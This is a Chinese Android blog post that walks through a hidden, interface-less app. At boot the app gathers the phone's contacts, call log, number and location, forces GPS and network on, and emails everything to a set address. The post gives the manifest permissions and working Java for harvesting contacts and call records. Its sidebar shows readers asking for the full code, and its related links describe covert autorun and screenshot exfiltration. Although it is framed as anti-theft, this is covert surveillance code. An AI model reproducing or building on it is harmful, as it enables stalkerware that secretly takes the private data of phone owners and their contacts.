- 浏览: 60553 次
- 性别:
- 来自: 南京
最新评论
-
cuixuelei:
图形中RChart Demo 字样,怎么去掉
android饼状图表 -
Mr.Cheney:
代码太乱了
gallery加载大量图片时内存溢出的解决方法(一) -
ygswine:
最后一点是否可以在发送QQ邮箱,成功后程序关闭,在Activi ...
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录) -
zxuenet:
erwin_king 写道因为这个时收费的,所以会有的demo ...
android饼状图表 -
mvpstevenlin:
博主,麻烦发一份我学习吧 1577360984@qq.com, ...
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)
- 博客分类:
- 移动android开发
首先声明者只是一个个人开发的个人使用的小程序,本意是为了防止手机被盗而写的,由于程序需要在不为人知的情况下采集信息然后发送,所以程序没有界面。整个程序的大概思路是这样的
手机开始时:
1、获取手机联系人信息、通话记录、手机号码
2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地
3、检查手机网络开关,关闭则开启
4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)
5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)
添加权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
下面我们就按部就班来实现我们的想法:
1、获取联系人、电话号码、通话记录:
/**
* 获取本机号码
* @param context
* @return
*/
public static String getLocalNumber() {
TelephonyManager mTelephonyMgr;
mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
return mTelephonyMgr.getLine1Number();
}
/**
* 获取联系人
* @param context
* @return
*/
public static String getContact(){
ContentResolver cr = context.getContentResolver();
//取得电话本中开始一项的光标
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
String string ="";
while (cursor.moveToNext())
{
// 取得联系人名字
int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);
String name = cursor.getString(nameFieldColumnIndex);
string += ("联系人:"+name+", 电话号码:");
// 取得联系人ID
String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
+ contactId, null, null);
// 取得电话号码(可能存在多个号码)
int i=0;
while (phone.moveToNext())
{
String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
if(i==0){
string += (strPhoneNumber);
}else{
string += ("," + strPhoneNumber);
}
i++;
}
string += "\n";
phone.close();
System.out.println("persion:"+string);
}
cursor.close();
return string;
}
/**
*获取通话记录
*/
public static List<Call> getCallList() {
List<Call> callList = new ArrayList<Call>();
int type;
Date date;
String time = "";
String telName = "";
String telNo = "";
ContentResolver cr = context.getContentResolver();
final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
CallLog.Calls.TYPE, CallLog.Calls.DATE,
CallLog.Calls.DURATION }, null, null,
CallLog.Calls.DEFAULT_SORT_ORDER);
for (int i = 0; i < cursor.getCount(); i++) {
Call call = new Call();
cursor.moveToPosition(i);
telName = cursor.getString(1);
telNo = cursor.getString(0);
type = cursor.getInt(2);
SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
date = new Date(Long.parseLong(cursor.getString(3)));
time = sfd.format(date);
// call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4))));
// String callDate = getdays(Long.parseLong(cursor.getString(3)));
if (telName != null) {
call.setName(telName);
} else {
call.setName("未知联系人");
}
call.setNumber(telNo);
call.setTime(time);
if (CallLog.Calls.INCOMING_TYPE == type) {
call.setType("接听");
} else if (CallLog.Calls.OUTGOING_TYPE == type) {
call.setType("拨出");
} else if (CallLog.Calls.MISSED_TYPE == type) {
call.setType("未接");
}
callList.add(call);
}
return callList;
}
private String formatDuring(long mss) {
long hours = mss / (60 * 60);
long minutes = (mss % (1000 * 60 * 60)) / 60;
long seconds = (mss % (1000 * 60));
return hours + ":" + minutes + ":" + seconds;
}
private String getdays(long callTime) {
String value = "";
long newTime = new Date().getTime();
long duration = (newTime - callTime) / (1000 * 60);
if (duration < 60) {
value = duration + "分钟前";
} else if (duration >= 60 && duration < DAY) {
value = (duration / 60) + "小时前";
} else if (duration >= DAY && duration < DAY * 2) {
value = "昨天";
} else if (duration >= DAY * 2 && duration < DAY * 3) {
value = "前天";
} else if (duration >= DAY * 7) {
SimpleDateFormat sdf = new SimpleDateFormat("M月dd日");
value = sdf.format(new Date(callTime));
} else {
value = (duration / DAY) + "天前";
}
return value;
}
/**
*实体类
*/
public class Call {
private String name;
private String number;
private String time;
private String type;
}
评论
发表评论
-
android 使用des算法
2012-02-09 12:52 1965转自:http://www.linuxidc.com/Linu ... -
Toast显示图片
2012-02-02 12:56 1465转自:http://blog.csdn.net/ling ... -
文字中间加横线效果
2012-02-02 11:00 1913priceTV.setText("价格:2.00 ... -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)
2011-11-08 12:51 1379static Uri uri = Uri.parse(&qu ... -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)
2011-11-08 12:48 1582public static String getCityNam ... -
Android Activity界面切换添加动画特效
2011-06-14 13:48 1212在Android 2.0之后有了overridePending ... -
android 权限介绍(二)
2011-06-02 17:08 1014SYSTEM_ALERT_WINDOW 允许 ... -
android 权限介绍(一)
2011-06-02 17:00 832Manifest.permission 这个类定义了andro ... -
编写高效的Android代码(提高运行速度,节省电量)
2011-06-02 16:28 1336编写高效的Android代码( ... -
[整理]Selector、shape详解
2011-06-02 15:15 4199Selector、shape详解(一) Selector的结 ... -
[转帖]Android自定义Activity漂亮跳转效果
2011-05-31 20:10 1284Android自定义Activity漂亮跳转效果 ... -
gallery加载大量图片时内存溢出的解决方法(三)
2011-05-31 19:14 20316、ImageAdapter public class Im ... -
gallery加载大量图片时内存溢出的解决方法(二)
2011-05-31 18:56 2563Paint deafalutPaint = new Paint ... -
gallery加载大量图片时内存溢出的解决方法(一)
2011-05-31 18:55 4483这只是我以前开始搞android事留下的代码,发现还是存在问题 ... -
ListView学习(三) 加载视野内的数据
2011-05-31 17:13 1781在滑动的过程中,只有在视野中的item才会加载数据,其他的其实 ... -
ListView学习(二) 点击条目隐藏展开正文
2011-05-28 00:00 3826本篇是listview条目点击展开或者隐藏内容,本文参照了an ... -
[整理] 操作通话记录(一)
2011-05-25 11:31 1884/* *为了方便后面页面的封装,这里定义了一个实体类 ... -
[整理] 操作通话记录(二)
2011-05-25 11:25 1121//处理时间 public String for ... -
android饼状图表
2011-05-15 15:12 4183相信图表再很多统计应 ... -
ListView学习(一) 滑动分页时底部显示进度条
2011-05-15 14:24 2657我们在使用listview时难免会遇到分页的情况,既然是分页, ...
相关推荐
服务器开机自动发送短信到手机! reg add hkcu\software\microsoft\windows\currentversion\run /v feixin /t reg_sz /d c:\windows\feixin.bat /f :: sno 为自己的手机号;psw 为飞信密码 ;msg 为消息 set sno=...
* 报警电话设置:预存代码 A、B、C、D、E、F、G、H、I、J(可存 10 组手机号码)用户管理员手机号码编辑短信发送到系统的 SIM 卡号码。 * 删除接警电话:代码 X 删除除管理员手机号码外的所有接警号码。 * 修改...
2)当公网IP变化时或定时时间到时自动发送邮件到指定邮箱。3)可以设置发送邮箱账号、接收邮箱账号及密码。SMTP服务器及端口号可设置。支持QQ、163等主流SMTP服务器。4)支持普通SMTP(25端口)及SSL SMTP(465端口...
标题中的"安卓短信彩信相关相关-防止手机丢失开机自启检测sim卡是否为原来那张不是则想一个号码发送短信.rar"是一个针对这个问题的解决方案。这个压缩包文件包含了可能用于创建一个安全应用的源代码,该应用会在设备...
系统可以预先配置好短消息服务中心地址和服务号码,然后按照预定时间间隔自动构建并发送PDU数据包,从而实现数据的远程传输。 #### 六、总结 本文详细介绍了使用MCS-51系列单片机控制手机收发短信息的原理、硬件...
以下将详细介绍如何在电源键损坏的情况下,通过电脑程序实现小米手机的开机。 首先,我们需要理解这个过程的核心原理。手机与电脑之间的通信通常依赖于USB数据线,通过USB调试模式,电脑可以识别并控制手机的部分...
6. 送达:当收件人的手机在服务区并且开机时,短信中心会将短信传送到手机上。 三、短信发送技术细节 1. SMS协议:短信服务基于SMPP(Short Message Peer-to-Peer)协议,这是一种应用层协议,用于系统间的消息...
隐私空间:可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。 题外话:在研究开机启动的时候,是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,...
加入开机运行,便可在后台监控电脑 定时截屏上传到指定邮箱
【MTK 7.1 定时发送短信】功能是在短信应用中添加了一项创新性的服务,允许用户预先设定短信的发送时间,从而在指定的时刻自动发送短信。这一特性对于那些希望在特定时间(如生日、纪念日或重要会议之前)发送消息的...
分析短信内容,若包含敏感词则屏蔽,保存垃圾短信到垃圾箱中(设计一个垃圾短信的数据库,除了_id外,还包含手机号和短信内容,垃圾短信的收件时间三个字段)。 ①垃圾箱(垃圾箱表)(读取数据库中的信息,用...
在IT领域,自启动发送指定信息到邮箱的功能通常用于自动化监控、日志报告或系统报警。这个示例涉及几个关键知识点,包括自启动程序、网络连接检测、IP地址获取以及邮件发送。以下是对这些知识点的详细说明: 1. **...
本文将深入探讨如何更改手机的开机动画,并介绍与安卓手机开机动画相关的知识点。 首先,了解开机动画的工作原理至关重要。在手机启动时,系统加载引导程序,接着是内核,然后是操作系统。开机动画就是在操作系统...
3.每次开机程序自动运行,检测到别人如果使用你的手机,自动把他的通话记录,跟gps坐标发送到绑定好的手机号上。 4.知道用你手机人的手机号,最近通话记录,gps坐标后,再自己想办法找到这人吧。 具体代码 1.取sim...
5. **发短信**:在主界面进入短信应用,选择或输入收件人电话,编写短信内容,选择发送。可使用语音输入、切换输入法、插入表情等功能。 6. **拍照片**:打开相机应用,可以调整设置,点击拍照按钮进行拍摄,还可以...
在这款手机上实现“定时发送信息”是一项非常贴心的功能,它允许用户预先设定好短信内容和发送时间,到指定时间后手机会自动发送出去,这对于忙碌的用户或者想在特定时间表达心意的人尤为方便。下面我们将详细探讨这...
【安卓手机开机画面】是指手机启动时显示的动画效果,它是用户首次接触手机系统时的视觉体验之一。在安卓系统中,开机画面可以通过修改特定的文件来定制,以展现个性化或者品牌特色。在这个案例中,我们关注的是为...
Android手机刷机失败无法开机自救大法 本文主要讲述了Android手机刷机失败无法开机的自救方法。对于经常刷机的Android用户来说,难免会碰到刷机失败损坏recovery程序乃至手机无法启动的情况,也就是传说中的手机变...